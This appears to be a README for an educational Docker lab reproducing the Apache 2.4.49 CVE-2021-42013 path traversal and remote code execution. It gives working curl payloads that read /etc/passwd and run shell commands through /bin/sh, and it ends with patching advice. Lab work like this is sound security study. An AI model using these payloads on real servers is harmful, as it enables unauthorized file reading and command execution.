
Laboratório demonstrando a vulnerabilidade do Apache HTTP Server 2.4.49 (CVE-2021-42013) em ambiente Docker.
Neste projeto, demonstrei a vulnerabilidade CVE-2021-42013 encontrada na versão 2.4.49 do Apache HTTP Server em um ambiente de laboratório que criei usando Docker.
O objetivo é examinar, em um ambiente controlado, como a vulnerabilidade ocorre, como funciona e quais são seus efeitos no sistema.
Este trabalho foi preparado apenas para fins educacionais e de laboratório.
.
├── Dockerfile
├── index.html
└── README.md
Antes de executar o projeto, os seguintes itens devem estar instalados.
Primeiro, baixe o repositório para o seu computador.
git clone https://github.com/berraesen/apache-cve-2021-42013-lab.git
Entre na pasta.
cd apache-cve-2021-42013-lab
Crie a imagem Docker.
docker build -t apache-2.4.49-src .
Inicie o contêiner.
docker run -d -p 8081:80 --name apache-src apache-2.4.49-src
Entre no contêiner.
docker exec -it apache-src /bin/bash
Verifique a versão do Apache.
/usr/local/apache2/bin/httpd -v
Para sair do contêiner:
exit
Você pode verificar se o módulo CGI está habilitado com o seguinte comando.
docker exec -it apache-src /usr/local/apache2/bin/apachectl -M
docker exec -it apache-src sed -i 's/#LoadModule cgid_module/LoadModule cgid_module/g' /usr/local/apache2/conf/httpd.conf
Em seguida, reinicie o Apache.
docker exec -it apache-src /usr/local/apache2/bin/apachectl restart
Para desabilitar o módulo CGI:
docker exec -it apache-src sed -i 's/LoadModule cgid_module/#LoadModule cgid_module/g' /usr/local/apache2/conf/httpd.conf
curl.exe -v --path-as-is "http://localhost:8081/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd"
curl.exe -v --path-as-is "http://localhost:8081/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh" --data "echo; id"
Para exibir mais informações do sistema:
curl.exe -s --path-as-is "http://localhost:8081/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh" --data "echo; id; uname -a; whoami" -o -
Após a conclusão da instalação:
İstemci (cURL)
│
▼
Apache HTTP Server 2.4.49
│
▼
URL Normalization Hatası
│
▼
Path Traversal
│
├──────────────► CGI Kapalı
│ │
│ ▼
│ Dosya erişimi mümkün olabilir
│
▼
CGI Aktif
│
▼
/bin/sh çalıştırılabilir
│
▼
Remote Code Execution (RCE)
Para que o cenário de RCE possa ser demonstrado, o módulo mod_cgi precisa estar habilitado.
Para corrigir esta vulnerabilidade, recomenda-se atualizar o Apache HTTP Server para a versão 2.4.51 ou mais recente. Além disso, se o CGI não for utilizado, recomenda-se desabilitá-lo e definir permissões de acesso apropriadas apenas para os diretórios necessários.